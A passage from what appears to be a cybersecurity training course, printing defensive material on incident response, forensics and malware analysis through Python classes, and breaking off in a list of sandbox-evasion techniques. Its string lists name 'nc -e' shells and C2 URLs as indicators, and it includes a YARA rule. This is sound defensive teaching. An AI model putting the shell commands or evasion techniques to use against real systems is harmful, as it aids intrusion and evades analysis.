        print("   log2timeline.py --storage-file timeline.plaso image.dd")
        print("   psort.py -o dynamic -w timeline.csv timeline.plaso")

        print("\n📊 Timeline Analysis:")
        print("   1. Create timeline from evidence")
        print("   2. Identify key events")
        print("   3. Correlate across sources")
        print("   4. Identify attacker actions")
        print("   5. Build narrative")

# Example
timeline = TimelineBuilding()
timeline.display_timeline()

7.8.3 Practical Example: Ransomware Incident Response

class RansomwareResponse:
    """Ransomware incident response"""

    def __init__(self):
        self.response_steps = {
            "Immediate": [
                "Isolate affected systems",
                "Disconnect from network",
                "Preserve evidence"
            ],
            "Containment": [
                "Identify scope of infection",
                "Stop ransomware process",
                "Block communication"
            ],
            "Eradication": [
                "Identify ransomware variant",
                "Remove malicious files",
                "Patch vulnerabilities"
            ],
            "Recovery": [
                "Restore from backups",
                "Verify file integrity",
                "Monitor for re-infection"
            ],
            "Post-Incident": [
                "Document incident",
                "Identify root cause",
                "Update security controls"
            ]
        }

    def display_response(self):
        """Display ransomware response"""
        print("=== Ransomware Incident Response ===\n")

        for phase, steps in self.response_steps.items():
            print(f"🔹 {phase}:")
            for step in steps:
                print(f"   - {step}")
            print()

# Example
ransomware_ir = RansomwareResponse()
ransomware_ir.display_response()

7.9 FINAL PRACTICAL PROJECT: “Investigate Suspicious Activity”

class ForensicProject:
    """Complete forensic investigation project"""

    def __init__(self):
        self.project_scope = {
            "Objective": "Investigate suspicious activity on corporate network",
            "Timeline": "48-hour investigation period",
            "Resources": ["Kali Linux", "Forensic tools", "Evidence files"]
        }

        self.investigation_steps = [
            "1. Evidence Collection",
            "2. Evidence Analysis",
            "3. Timeline Creation",
            "4. Findings Documentation",
            "5. Report Generation"
        ]

        self.deliverables = [
            "Executive Report",
            "Technical Report",
            "Chain of Custody Documentation",
            "Evidence Preservation Records",
            "Root Cause Analysis",
            "Recommendations"
        ]

    def display_project(self):
        """Display project details"""
        print("=== Forensic Investigation Project ===\n")

        print("📋 Project Scope:")
        for key, value in self.project_scope.items():
            print(f"   - {key}: {value}")

        print("\n📊 Investigation Steps:")
        for step in self.investigation_steps:
            print(f"   {step}")

        print("\n📄 Deliverables:")
        for deliverable in self.deliverables:
            print(f"   - {deliverable}")

# Example
project = ForensicProject()
project.display_project()

7.10 Certifications in Digital Forensics and Incident Response

class DFIRCertifications:
    """Digital Forensics and Incident Response certifications"""

    def __init__(self):
        self.certifications = {
            "GIAC GCFE": {
                "full_name": "GIAC Certified Forensic Examiner",
                "focus": "Computer forensics",
                "level": "Intermediate"
            },
            "GIAC GCFA": {
                "full_name": "GIAC Certified Forensic Analyst",
                "focus": "Advanced forensics, incident response",
                "level": "Advanced"
            },
            "GIAC GCIH": {
                "full_name": "GIAC Certified Incident Handler",
                "focus": "Incident response",
                "level": "Intermediate"
            },
            "GIAC GNFA": {
                "full_name": "GIAC Certified Network Forensic Analyst",
                "focus": "Network forensics",
                "level": "Advanced"
            },
            "CISSP": {
                "full_name": "Certified Information Systems Security Professional",
                "focus": "Comprehensive security",
                "level": "Expert"
            }
        }

    def display_certifications(self):
        """Display DFIR certifications"""
        print("=== DFIR Certifications ===\n")

        for cert, info in self.certifications.items():
            print(f"🔹 {cert} - {info['full_name']}")
            print(f"   Focus: {info['focus']}")
            print(f"   Level: {info['level']}")
            print()

# Example
dfir_certs = DFIRCertifications()
dfir_certs.display_certifications()

You have now completed Phase 7: Defensive Security (Blue Team / SOC).

Key Topics Covered:

TopicKey Concepts
SIEMSplunk, Elastic Stack, Sentinel
EDRBehavioral analysis, response capabilities
Incident ResponseNIST lifecycle, roles, playbooks
Digital ForensicsEvidence handling, types of forensics
Forensic ToolsAutopsy, Volatility, Wireshark
Disk ForensicsImaging, file system analysis, carving
Memory ForensicsAcquisition, analysis with Volatility
Network ForensicsCapture, analysis, exfiltration detection
Log AnalysisLinux and Windows event logs
Threat HuntingProactive detection, MITRE ATT&CK

Practical Examples Completed:

  • SIEM architecture and configuration
  • Splunk SPL queries
  • Incident response lifecycle
  • Digital evidence handling
  • Autopsy and Volatility usage
  • Network forensics with Wireshark
  • Log analysis techniques
  • Ransomware incident response
  • Complete forensic investigation project

PHASE 8: REVERSE ENGINEERING & MALWARE ANALYSIS

8.1 Purpose of Reverse Engineering in Security

Reverse Engineering is the process of analysing a compiled program to understand its behaviour, structure, and purpose without access to its source code. In security work, this discipline serves two primary functions: malware analysis and vulnerability research.

Why Reverse Engineering Matters in Security:

PurposeDescription
Malware AnalysisUnderstanding what malicious software does
Vulnerability DiscoveryFinding security flaws in compiled software
Incident ResponseAnalysing attack artifacts
Threat IntelligenceIdentifying malware families and actors
Detection DevelopmentCreating signatures for security tools

The Two Approaches to Reverse Engineering:

ApproachDescriptionWhen to Use
Static AnalysisExamines the binary without executing itInitial triage, understanding structure
Dynamic AnalysisExecutes the binary in a controlled environmentObserving behaviour, confirming hypotheses

What You Can Learn from Reverse Engineering:

  1. What the program does (functionality)
  2. How it works (algorithms and logic)
  3. What it communicates with (network indicators)
  4. What it modifies (file system, registry)
  5. How it protects itself (packing, obfuscation)
  6. What vulnerabilities it exploits

8.1.1 What is Reverse Engineering

Definition: Reverse engineering is the process of taking a compiled binary and analysing it to understand its functionality, purpose, and behaviour without having access to the original source code.

Applications in Security:

ApplicationDescription
Malware AnalysisUnderstanding malicious code to develop defenses
Vulnerability DiscoveryFinding security flaws in software
Incident ResponseAnalyzing attack artifacts and tools
Threat IntelligenceIdentifying malware families and attribution
Forensic AnalysisRecovering data from damaged systems
Exploit DevelopmentUnderstanding vulnerabilities to create patches

Binary Formats Analysed:

FormatPlatformDescription
PE (Portable Executable)WindowsWindows executables (.exe, .dll)
ELF (Executable and Linkable Format)LinuxLinux executables and libraries
Mach-OmacOSmacOS executables
APKAndroidAndroid application packages
class ReverseEngineeringConcepts:
    """Reverse engineering concepts and applications"""

    def __init__(self):
        self.applications = {
            "Malware Analysis": {
                "description": "Understanding malicious software",
                "output": "Indicators of compromise, detection signatures"
            },
            "Vulnerability Discovery": {
                "description": "Finding security flaws in software",
                "output": "CVE reports, security patches"
            },
            "Incident Response": {
                "description": "Analyzing attack artifacts",
                "output": "Attacker techniques, remediation"
            },
            "Threat Intelligence": {
                "description": "Identifying malware families",
                "output": "Threat actor attribution, campaign tracking"
            }
        }

        self.binary_formats = {
            "PE": "Windows Portable Executable (.exe, .dll)",
            "ELF": "Linux Executable and Linkable Format",
            "Mach-O": "macOS executable format",
            "APK": "Android application package"
        }

    def display_applications(self):
        """Display reverse engineering applications"""
        print("=== Reverse Engineering Applications ===\n")

        for app, info in self.applications.items():
            print(f"🔹 {app}")
            print(f"   📌 {info['description']}")
            print(f"   ✅ Output: {info['output']}")
            print()

        print("📋 Binary Formats:")
        for format_name, description in self.binary_formats.items():
            print(f"   - {format_name}: {description}")

# Example
re_concepts = ReverseEngineeringConcepts()
re_concepts.display_applications()

8.1.2 Setting Up a Safe Malware Analysis Environment

Analysing malware requires an environment that is completely isolated from any network or system you care about. A malware sample executed carelessly can encrypt your files, spread to other machines on your network, contact command and control servers, and establish persistence that survives a reboot.

Key Requirements:

RequirementDescription
IsolationAir-gapped or virtualized environment
No NetworkNo internet connectivity (unless controlled)
SnapshotsVM snapshots for clean state
ToolsAnalysis tools installed on analysis VM
Host ProtectionHost machine hardened and isolated

Virtualization Options:

ToolPlatformFeatures
VMware WorkstationWindows/LinuxAdvanced features, snapshots
VirtualBoxCross-platformFree, open-source
Virtual PCWindowsMicrosoft virtualization
QEMUCross-platformFull system emulation

Network Configuration:

ConfigurationUse Case
Host-OnlyNo external network access
NATControlled internet access
Internal NetworkCommunication between VMs
BridgeDirect network access (not recommended)
class MalwareAnalysisEnvironment:
    """Setting up a safe malware analysis environment"""

    def __init__(self):
        self.isolation_requirements = {
            "Air-Gapped": "No network connectivity at all",
            "Virtualized": "Virtual machines for isolation",
            "Snapshot-Based": "Snapshots for clean state recovery",
            "Host-Only Networking": "No external network access",
            "Controlled Internet": "Simulated internet services"
        }

        self.tools = {
            "Static Analysis": ["Ghidra", "IDA Pro", "strings", "file", "PE Studio"],
            "Dynamic Analysis": ["Process Monitor", "Regshot", "Wireshark", "x64dbg"],
            "Automated Analysis": ["Cuckoo Sandbox", "ANY.RUN", "Joe Sandbox"]
        }

        self.network_configs = {
            "Host-Only": "No external network access (safest)",
            "NAT": "Controlled internet access",
            "Internal Network": "Communication between VMs only",
            "INetSim": "Simulated internet services"
        }

    def display_setup(self):
        """Display malware analysis setup"""
        print("=== Malware Analysis Environment ===\n")

        print("🔒 Isolation Requirements:")
        for requirement, description in self.isolation_requirements.items():
            print(f"   - {requirement}: {description}")

        print("\n🔧 Analysis Tools:")
        for category, tools in self.tools.items():
            print(f"   - {category}: {', '.join(tools)}")

        print("\n🌐 Network Configurations:")
        for config, description in self.network_configs.items():
            print(f"   - {config}: {description}")

        print("\n🛡️ Best Practices:")
        print("   - Take snapshots before analysis")
        print("   - Use isolated virtual machines")
        print("   - Never execute on host system")
        print("   - Use write-blockers if possible")
        print("   - Document analysis steps")

# Example
analysis_env = MalwareAnalysisEnvironment()
analysis_env.display_setup()

8.2 Malware Analysis

Malware Analysis is the process of studying malicious software to understand its behaviour, purpose, and impact. The goal is to extract indicators of compromise (IOCs), understand the malware’s capabilities, and develop detection signatures.

8.2.1 Two Types of Analysis

8.2.1.1 Static Analysis: Understanding a Binary Without Executing It

Static Analysis examines a program’s structure and content without running it. The goal of initial static analysis is rapid triage — determining within minutes whether a file is worth deeper investigation, what type of malware it likely is, and what its basic capabilities appear to be.

Key Static Analysis Techniques:

TechniqueDescriptionTools
File IdentificationDetermine file typefile command
HashingGenerate unique identifiersmd5sum, sha256sum
String ExtractionFind readable textstrings, FLOSS
PE StructureAnalyse Windows executable formatPE Studio, pefile
DisassemblyConvert binary to assemblyGhidra, IDA Pro
DecompilationConvert assembly to high-level codeGhidra, Hex-Rays
YARA RulesPattern matching for malwareYARA

File Identification and Hashing:

The first step with any suspicious file is to identify what it actually is and generate its cryptographic hashes. The hashes serve two purposes: they allow the file to be looked up in threat intelligence databases, and they provide a unique identifier that can be used to track the file across different analysis sessions.

class StaticAnalysis:
    """Static analysis techniques"""

    def __init__(self):
        self.file_types = {
            "PE": "Windows Portable Executable",
            "ELF": "Linux executable",
            "Mach-O": "macOS executable",
            "PDF": "Document file",
            "Office": "Microsoft Office document",
            "Archive": "ZIP, RAR, 7z"
        }

        self.hash_algorithms = {
            "MD5": "128-bit hash (not recommended)",
            "SHA-1": "160-bit hash (deprecated)",
            "SHA-256": "256-bit hash (recommended)",
            "SHA-512": "512-bit hash (high security)"
        }

    def display_techniques(self):
        """Display static analysis techniques"""
        print("=== Static Analysis Techniques ===\n")

        print("📋 File Identification:")
        for file_type, description in self.file_types.items():
            print(f"   - {file_type}: {description}")

        print("\n🔑 Hashing Algorithms:")
        for algo, description in self.hash_algorithms.items():
            print(f"   - {algo}: {description}")

        print("\n💻 Commands:")
        print("   file malware.exe           # Identify file type")
        print("   sha256sum malware.exe      # Generate SHA-256 hash")
        print("   md5sum malware.exe         # Generate MD5 hash")
        print("   strings malware.exe        # Extract strings")
        print("   strings -n 8 malware.exe   # Extract strings of length 8+")

        print("\n📊 VirusTotal Lookup:")
        print("   https://www.virustotal.com/gui/file/{SHA-256}")
        print("   ✅ Check if file is known malware")
        print("   🔍 See detection results from 70+ antivirus engines")

# Example
static_analysis = StaticAnalysis()
static_analysis.display_techniques()

String Extraction:

The strings embedded in a binary file are frequently the most informative starting point for understanding what it does. Malware contains strings for the same reason legitimate software does — URLs of servers it communicates with, file paths it creates, registry keys it modifies, error messages, function names, and hard-coded configuration values.

class StringExtraction:
    """String extraction techniques"""

    def __init__(self):
        self.string_patterns = {
            "URLs": "http://, https://, ftp://",
            "IP Addresses": "192.168.1.1, 203.0.113.10",
            "File Paths": "C:\\Windows\\System32, /tmp/",
            "Registry Keys": "HKLM\\Software, HKCU\\Control Panel",
            "Commands": "cmd.exe, powershell, nc -e",
            "Function Names": "CreateFile, WriteProcessMemory",
            "Error Messages": "Failed to connect, Access denied"
        }

    def display_strings(self):
        """Display string extraction concepts"""
        print("=== String Extraction ===\n")

        print("📊 String Patterns to Look For:")
        for pattern, examples in self.string_patterns.items():
            print(f"   - {pattern}: {examples}")

        print("\n💻 Commands:")
        print("   strings malware.exe | grep -i http")
        print("   strings malware.exe | grep -i 'C:\\\\'")
        print("   strings malware.exe | grep -iE 'password|passwd'")
        print("   strings malware.exe | grep -iE 'CreateFile|WriteProcessMemory|CreateRemoteThread'")

        print("\n🔧 FLOSS (FireEye FLARE Obfuscated String Solver):")
        print("   FLOSS extracts obfuscated strings")
        print("   floss malware.exe > strings_advanced.txt")
        print("   ✅ Finds strings that are decoded at runtime")

# Example
strings_extract = StringExtraction()
strings_extract.display_strings()

PE File Structure Analysis:

Windows executables use the Portable Executable (PE) format. The PE format defines a structured layout with headers containing metadata about the file, sections containing the actual code and data, and an import table listing every Windows API function the program uses.

class PEAnalysis:
    """PE file structure analysis"""

    def __init__(self):
        self.pe_sections = {
            ".text": "Contains executable code",
            ".data": "Contains initialized data",
            ".rdata": "Contains read-only data",
            ".rsrc": "Contains resources (icons, strings)",
            ".reloc": "Contains relocation information"
        }

        self.import_functions = {
            "File Operations": "CreateFile, WriteFile, ReadFile, DeleteFile",
            "Registry Operations": "RegCreateKey, RegSetValue, RegOpenKey",
            "Network Operations": "socket, connect, send, recv, InternetOpenUrl",
            "Process Operations": "CreateProcess, CreateRemoteThread, WriteProcessMemory",
            "Persistence": "CreateService, RegSetValue, schtasks"
        }

    def display_pe(self):
        """Display PE analysis concepts"""
        print("=== PE File Structure Analysis ===\n")

        print("📋 PE Sections:")
        for section, description in self.pe_sections.items():
            print(f"   - {section}: {description}")

        print("\n🔍 Import Functions by Category:")
        for category, functions in self.import_functions.items():
            print(f"   - {category}: {functions}")

        print("\n💻 PE Analysis Tools:")
        print("   - PE Studio: GUI-based PE analysis")
        print("   - pefile: Python library for PE analysis")
        print("   - CFF Explorer: Windows PE viewer")

        print("\n🔧 Python pefile Example:")
        print("""   import pefile
   pe = pefile.PE('malware.exe')
   for section in pe.sections:
       print(section.Name, section.get_entropy())
   for entry in pe.DIRECTORY_ENTRY_IMPORT:
       print(entry.dll)""")

# Example
pe_analysis = PEAnalysis()
pe_analysis.display_pe()

8.2.1.2 Dynamic Analysis: Observing Behaviour During Execution

Dynamic Analysis executes the malware sample and monitors what it does. It is faster than static analysis for initial characterisation and reveals behaviours that obfuscation would hide from static examination.

Key Dynamic Analysis Techniques:

TechniqueDescriptionTools
Process MonitoringTrack processes and system callsProcess Monitor, API Monitor
Registry MonitoringTrack registry changesRegshot, Process Monitor
File System MonitoringTrack file operationsProcess Monitor
Network AnalysisCapture network trafficWireshark, INetSim
Automated AnalysisRun in sandboxCuckoo, ANY.RUN
class DynamicAnalysis:
    """Dynamic analysis techniques"""

    def __init__(self):
        self.monitoring_techniques = {
            "Process Monitoring": {
                "description": "Track processes and system calls",
                "tools": ["Process Monitor", "API Monitor"]
            },
            "Registry Monitoring": {
                "description": "Track registry changes",
                "tools": ["Regshot", "Process Monitor"]
            },
            "File System Monitoring": {
                "description": "Track file operations",
                "tools": ["Process Monitor", "FileMon"]
            },
            "Network Analysis": {
                "description": "Capture network traffic",
                "tools": ["Wireshark", "INetSim"]
            }
        }

        self.behaviors = [
            "File creation/modification",
            "Registry modification",
            "Process creation",
            "Network connections",
            "Service installation",
            "Persistence mechanisms"
        ]

    def display_techniques(self):
        """Display dynamic analysis techniques"""
        print("=== Dynamic Analysis Techniques ===\n")

        print("📊 Monitoring Techniques:")
        for technique, info in self.monitoring_techniques.items():
            print(f"   - {technique}: {info['description']}")
            print(f"     Tools: {', '.join(info['tools'])}")
            print()

        print("🔍 Behaviors to Monitor:")
        for behavior in self.behaviors:
            print(f"   - {behavior}")

        print("\n💻 Process Monitor Example:")
        print("   1. Run Process Monitor as Administrator")
        print("   2. Set filter: Process Name is malware.exe")
        print("   3. Start capture")
        print("   4. Execute malware")
        print("   5. Stop capture")
        print("   6. Analyze results")

# Example
dynamic_analysis = DynamicAnalysis()
dynamic_analysis.display_techniques()

8.2.2 Debugging

Debugging allows you to step through a program’s execution one instruction at a time, inspecting registers and memory at each step, setting breakpoints, and modifying values to influence the program’s behaviour.

Debuggers by Platform:

DebuggerPlatformFeatures
x64dbgWindows 32/64-bitModern, plugin support
OllyDbgWindows 32-bitClassic, user-friendly
gdbLinuxGNU Debugger, powerful
IDA ProCross-platformAdvanced debugging
Immunity DebuggerWindowsSecurity-focused
class DebuggingConcepts:
    """Debugging concepts and tools"""

    def __init__(self):
        self.debuggers = {
            "x64dbg": {
                "platform": "Windows",
                "type": "32/64-bit",
                "features": "Modern, plugin support, GUI"
            },
            "OllyDbg": {
                "platform": "Windows",
                "type": "32-bit",
                "features": "Classic, user-friendly"
            },
            "gdb": {
                "platform": "Linux",
                "type": "Multi-architecture",
                "features": "Powerful, command-line"
            },
            "IDA Pro": {
                "platform": "Cross-platform",
                "type": "Professional",
                "features": "Advanced debugging, decompiler"
            }
        }

        self.debugging_techniques = [
            "Breakpoints: Pause execution at specific points",
            "Step Into: Execute one instruction at a time",
            "Step Over: Execute function without stepping in",
            "Register Inspection: View and modify CPU registers",
            "Memory Inspection: View and modify memory contents",
            "Call Stack: View function call history"
        ]

    def display_debuggers(self):
        """Display debuggers and techniques"""
        print("=== Debugging Concepts ===\n")

        print("🔧 Debuggers:")
        for debugger, info in self.debuggers.items():
            print(f"   - {debugger}: {info['platform']}, {info['type']}")
            print(f"     Features: {info['features']}")

        print("\n🔍 Debugging Techniques:")
        for technique in self.debugging_techniques:
            print(f"   - {technique}")

        print("\n💻 gdb Commands:")
        print("   gdb ./program         # Start debugging")
        print("   break main            # Set breakpoint")
        print("   run                   # Start execution")
        print("   step                  # Step into")
        print("   next                  # Step over")
        print("   info registers        # View registers")
        print("   x/10x $rsp           # Examine memory")
        print("   continue              # Continue execution")

# Example
debugging = DebuggingConcepts()
debugging.display_debuggers()

8.3 Static Analysis Tools

8.3.1 strings (Basic but Powerful)

strings is a command-line tool that extracts printable character sequences from a binary file. It is one of the simplest yet most powerful tools in malware analysis.

class StringsTool:
    """strings command and usage"""

    def __init__(self):
        self.strings_usage = {
            "Basic": "strings malware.exe",
            "Minimum Length": "strings -n 8 malware.exe",
            "Encoding": "strings -e l malware.exe  # Unicode",
            "All": "strings -a malware.exe",
            "Limited": "strings -n 10 -e s malware.exe"
        }

        self.strings_analysis = {
            "URLs": "Indicates network communication",
            "IP Addresses": "Command and control servers",
            "File Paths": "Where malware installs",
            "Registry Keys": "Persistence and configuration",
            "Commands": "What malware executes",
            "Function Names": "What APIs are used",
            "Error Messages": "Debugging information"
        }

    def display_strings(self):
        """Display strings usage"""
        print("=== strings Command ===\n")

        print("📋 Usage:")
        for usage, description in self.strings_usage.items():
            print(f"   - {usage}: {description}")

        print("\n🔍 What to Look For:")
        for pattern, significance in self.strings_analysis.items():
            print(f"   - {pattern}: {significance}")

        print("\n💻 Example Analysis:")
        print("   strings malware.exe | grep -iE 'http|https|ftp'")
        print("   strings malware.exe | grep -iE 'cmd|powershell'")
        print("   strings malware.exe | grep -iE '\\\\' | head -20")

# Example
strings_tool = StringsTool()
strings_tool.display_strings()

8.3.2 file command

file determines the actual file type, regardless of the file extension. It examines the file’s header and magic bytes to identify what it really is.

class FileCommand:
    """file command usage"""

    def __init__(self):
        self.identifications = {
            "PE32": "Windows executable (32-bit)",
            "PE32+": "Windows executable (64-bit)",
            "ELF": "Linux executable",
            "Mach-O": "macOS executable",
            "PDF": "PDF document",
            "Zip": "ZIP archive",
            "Data": "Unknown data file"
        }

        self.additional_info = [
            "Architecture (32-bit vs 64-bit)",
            "Compiler information",
            "Compilation timestamp",
            "Packer information (if detected)",
            "File size and structure"
        ]

    def display_file(self):
        """Display file command usage"""
        print("=== file Command ===\n")

        print("📋 File Types Detected:")
        for file_type, description in self.identifications.items():
            print(f"   - {file_type}: {description}")

        print("\n🔍 Additional Information:")
        for info in self.additional_info:
            print(f"   - {info}")

        print("\n💻 Examples:")
        print("   file malware.exe")
        print("   file suspicious.pdf")
        print("   file document.doc")
        print("   file -i malware.exe  # MIME type")

# Example
file_cmd = FileCommand()
file_cmd.display_file()

8.3.3 Ghidra (Reverse Engineering)

Ghidra is a software reverse engineering framework developed and released as open source by the US National Security Agency (NSA). It disassembles binary files and decompiles them, producing a C-like pseudocode representation.

class GhidraTool:
    """Ghidra reverse engineering tool"""

    def __init__(self):
        self.ghidra_features = {
            "Disassembly": "Convert binary to assembly instructions",
            "Decompilation": "Convert assembly to C-like pseudocode",
            "Graph Visualization": "Control flow graph display",
            "Symbol Analysis": "Function and variable identification",
            "Cross-Referencing": "Track where functions are called",
            "Scripting": "Python-based automation",
            "Project Management": "Organize analysis work"
        }

        self.analysis_steps = [
            "1. Create a new project",
            "2. Import the binary file",
            "3. Run auto-analysis",
            "4. Navigate to entry point",
            "5. Analyze functions",
            "6. Rename identified functions",
            "7. Document findings"
        ]

    def display_ghidra(self):
        """Display Ghidra features"""
        print("=== Ghidra Reverse Engineering ===\n")

        print("📊 Features:")
        for feature, description in self.ghidra_features.items():
            print(f"   - {feature}: {description}")

        print("\n📋 Analysis Workflow:")
        for step in self.analysis_steps:
            print(f"   {step}")

        print("\n💻 Key Shortcuts:")
        print("   G: Go to address")
        print("   L: Rename symbol")
        print("   ;: Add comment")
        print("   F: Show references")
        print("   Ctrl+F: Search")

# Example
ghidra = GhidraTool()
ghidra.display_ghidra()

8.3.4 IDA Pro (Advanced)

IDA Pro (Interactive Disassembler) is the commercial gold standard for binary analysis. It provides advanced disassembly, debugging, and decompilation capabilities.

class IDAProTool:
    """IDA Pro reverse engineering tool"""

    def __init__(self):
        self.ida_features = {
            "Interactive Disassembly": "Manual and automatic analysis",
            "Cross-Referencing": "Track code and data references",
            "Graph View": "Control flow graph visualization",
            "Scripting": "IDC and Python scripting",
            "Plugin System": "Extensible functionality",
            "Hex-Rays Decompiler": "C-like pseudocode output",
            "Debugger": "Integrated debugging capabilities"
        }

        self.ida_advantages = [
            "Industry standard for reverse engineering",
            "Powerful analysis engine",
            "Large user community",
            "Extensive plugin ecosystem",
            "Professional support"
        ]

    def display_ida(self):
        """Display IDA Pro features"""
        print("=== IDA Pro Advanced Reverse Engineering ===\n")

        print("📊 Features:")
        for feature, description in self.ida_features.items():
            print(f"   - {feature}: {description}")

        print("\n📋 Advantages:")
        for advantage in self.ida_advantages:
            print(f"   - {advantage}")

        print("\n💻 Key Features:")
        print("   - Hex-Rays decompiler for C-like code")
        print("   - Support for multiple architectures")
        print("   - Advanced graph visualization")
        print("   - Cross-reference analysis")

# Example
ida = IDAProTool()
ida.display_ida()

8.4 Dynamic Analysis

8.4.1 Process and System Monitoring

Process Monitor (ProcMon) is a Sysinternals tool for Windows that records every file system operation, registry operation, network operation, and process and thread activity.

class ProcessMonitorTool:
    """Process Monitor (ProcMon) usage"""

    def __init__(self):
        self.monitoring_capabilities = {
            "File System": "File creation, modification, deletion",
            "Registry": "Registry key creation and modification",
            "Process": "Process creation and termination",
            "Network": "Network connections and data transfer"
        }

        self.analysis_steps = [
            "1. Run Process Monitor as Administrator",
            "2. Set filters to target malware process",
            "3. Start capture",
            "4. Execute malware",
            "5. Stop capture",
            "6. Analyze captured events"
        ]

    def display_procmon(self):
        """Display Process Monitor usage"""
        print("=== Process Monitor (ProcMon) ===\n")

        print("📊 Monitoring Capabilities:")
        for capability, description in self.monitoring_capabilities.items():
            print(f"   - {capability}: {description}")

        print("\n📋 Analysis Steps:")
        for step in self.analysis_steps:
            print(f"   {step}")

        print("\n🔍 Key Events to Look For:")
        print("   - File creation in suspicious locations")
        print("   - Registry persistence entries")
        print("   - Process creation (cmd.exe, powershell)")
        print("   - Network connections to unknown IPs")
        print("   - Service installations")

# Example
procmon = ProcessMonitorTool()
procmon.display_procmon()

8.4.2 Network Behaviour Analysis

Network Behaviour Analysis captures and analyzes malware’s network communication to identify command and control servers and exfiltration attempts.

class NetworkAnalysis:
    """Network behaviour analysis"""

    def __init__(self):
        self.tools = {
            "Wireshark": "Packet capture and analysis",
            "INetSim": "Simulated internet services",
            "FakeNet": "Traffic redirection",
            "Hosts File": "DNS redirection"
        }

        self.network_indicators = {
            "DNS Queries": "Domain name lookups",
            "HTTP Requests": "Command and control communication",
            "TCP/UDP Connections": "Network connections",
            "Data Transfer": "Exfiltration patterns"
        }

    def display_network_analysis(self):
        """Display network analysis concepts"""
        print("=== Network Behaviour Analysis ===\n")

        print("🔧 Tools:")
        for tool, description in self.tools.items():
            print(f"   - {tool}: {description}")

        print("\n🌐 Network Indicators:")
        for indicator, description in self.network_indicators.items():
            print(f"   - {indicator}: {description}")

        print("\n💻 Wireshark Filters:")
        print("   dns - DNS traffic")
        print("   http - HTTP traffic")
        print("   tcp - TCP connections")
        print("   ip.addr == 203.0.113.10 - Traffic to/from IP")
        print("   tcp.stream eq 0 - First TCP stream")

# Example
net_analysis = NetworkAnalysis()
net_analysis.display_network_analysis()

8.4.3 Automated Dynamic Analysis

Cuckoo Sandbox is an open-source automated malware analysis system. Submit a sample, and Cuckoo executes it in an isolated virtual machine, monitors all host and network behaviour, and produces a structured report.

class CuckooSandbox:
    """Cuckoo Sandbox automated analysis"""

    def __init__(self):
        self.cuckoo_features = {
            "Automated Execution": "Runs malware automatically",
            "Process Monitoring": "Tracks processes and system calls",
            "Registry Monitoring": "Records registry changes",
            "File System Monitoring": "Tracks file operations",
            "Network Monitoring": "Captures network traffic",
            "Screenshots": "Captures screen activity",
            "Report Generation": "Structured analysis reports"
        }

        self.report_sections = [
            "File Information",
            "Behavioral Analysis",
            "Process Tree",
            "Registry Changes",
            "File Operations",
            "Network Communication",
            "Screenshots",
            "Indicators of Compromise"
        ]

    def display_cuckoo(self):
        """Display Cuckoo Sandbox features"""
        print("=== Cuckoo Sandbox ===\n")

        print("📊 Features:")
        for feature, description in self.cuckoo_features.items():
            print(f"   - {feature}: {description}")

        print("\n📋 Report Sections:")
        for section in self.report_sections:
            print(f"   - {section}")

        print("\n💻 Cuckoo Commands:")
        print("   cuckoo submit malware.exe")
        print("   cuckoo web")
        print("   cuckoo -d")

# Example
cuckoo = CuckooSandbox()
cuckoo.display_cuckoo()

8.5 Ransomware Analysis: A Complete Practical Walkthrough

Ransomware is the most economically significant category of malware and the one most likely to be encountered in a real incident response engagement.

8.5.1 Analysis Steps

class RansomwareAnalysis:
    """Ransomware analysis walkthrough"""

    def __init__(self):
        self.analysis_steps = {
            "Step 1: Initial Triage": {
                "actions": ["Hash file", "Look up on VirusTotal", "Check file type"],
                "tools": ["sha256sum", "strings", "file"]
            },
            "Step 2: Static Analysis": {
                "actions": ["Extract strings", "Analyze PE structure", "Find IOCs"],
                "tools": ["strings", "PE Studio", "Ghidra"]
            },
            "Step 3: Dynamic Analysis": {
                "actions": ["Execute in sandbox", "Monitor behavior", "Analyze network"],
                "tools": ["Cuckoo", "Process Monitor", "Wireshark"]
            },
            "Step 4: IOC Extraction": {
                "actions": ["Extract indicators", "Create YARA rules", "Document findings"],
                "tools": ["YARA", "Custom scripts"]
            }
        }

        self.ransomware_iocs = {
            "File Extensions": ".encrypted, .locked, .crypt",
            "Ransomware Notes": "README.txt, HOW_TO_DECRYPT.txt",
            "Registry Keys": "Run, RunOnce, Services",
            "Network Indicators": "C2 domains, IP addresses"
        }

    def display_analysis(self):
        """Display ransomware analysis steps"""
        print("=== Ransomware Analysis Walkthrough ===\n")

        for step, info in self.analysis_steps.items():
            print(f"🔹 {step}")
            print(f"   Actions: {', '.join(info['actions'])}")
            print(f"   Tools: {', '.join(info['tools'])}")
            print()

        print("📊 Ransomware Indicators:")
        for indicator, examples in self.ransomware_iocs.items():
            print(f"   - {indicator}: {examples}")

# Example
ransomware_analysis = RansomwareAnalysis()
ransomware_analysis.display_analysis()

8.5.2 Writing Detection Signatures from Analysis Findings

YARA is a tool for creating pattern-based signatures to identify and classify malware samples.

class YARARules:
    """YARA rule creation"""

    def __init__(self):
        self.yara_components = {
            "Meta": "Rule metadata (description, author, date)",
            "Strings": "Patterns to search for (strings, hex)",
            "Condition": "Logic for determining a match"
        }

        self.string_types = {
            "ASCII": "Plain text strings",
            "Wide": "Unicode strings (UTF-16)",
            "Hex": "Hex byte patterns",
            "Regex": "Regular expressions"
        }

    def display_yara(self):
        """Display YARA rule creation"""
        print("=== YARA Rules ===\n")

        print("📋 Rule Components:")
        for component, description in self.yara_components.items():
            print(f"   - {component}: {description}")

        print("\n📊 String Types:")
        for string_type, description in self.string_types.items():
            print(f"   - {string_type}: {description}")

        print("\n💻 YARA Rule Example:")
        print("""   rule Ransomware_Example {
       meta:
           description = "Detects example ransomware"
           author = "Security Analyst"
           date = "2024-01-15"
           hash = "sha256_of_sample"

       strings:
           $note = "Your files have been encrypted"
           $ext = ".encrypted" wide
           $c2 = "http://malicious-c2.com" ascii
           $mutex = "Global\\RansomwareMutex" wide

       condition:
           uint16(0) == 0x5A4D and
           2 of ($note, $ext, $c2, $mutex)
   }""")

# Example
yara = YARARules()
yara.display_yara()

8.6 Advanced Techniques

8.6.1 Sandbox Evasion Techniques

Sophisticated malware is designed to detect when it is running in an analysis environment and modify its behaviour to avoid revealing its true capabilities.

class SandboxEvasion:
    """Sandbox evasion techniques"""

    def __init__(self):
        self.evasion_techniques = {
            "Timing-Based": {
                "description": "Sleep delays to evade time-based analysis",
                "counter": "Patch sleep calls in debugger"
            },
            "Environment Detection": {
                "description": "Detect virtual machines (VMware, VirtualBox)",
                "counter": "Hide VM indicators"
            },
            "Debugger Detection": {
                "description": "Check for IsDebuggerPresent",
                "counter": "Use debugger hiding plugins"
            },
            "User Interaction": {
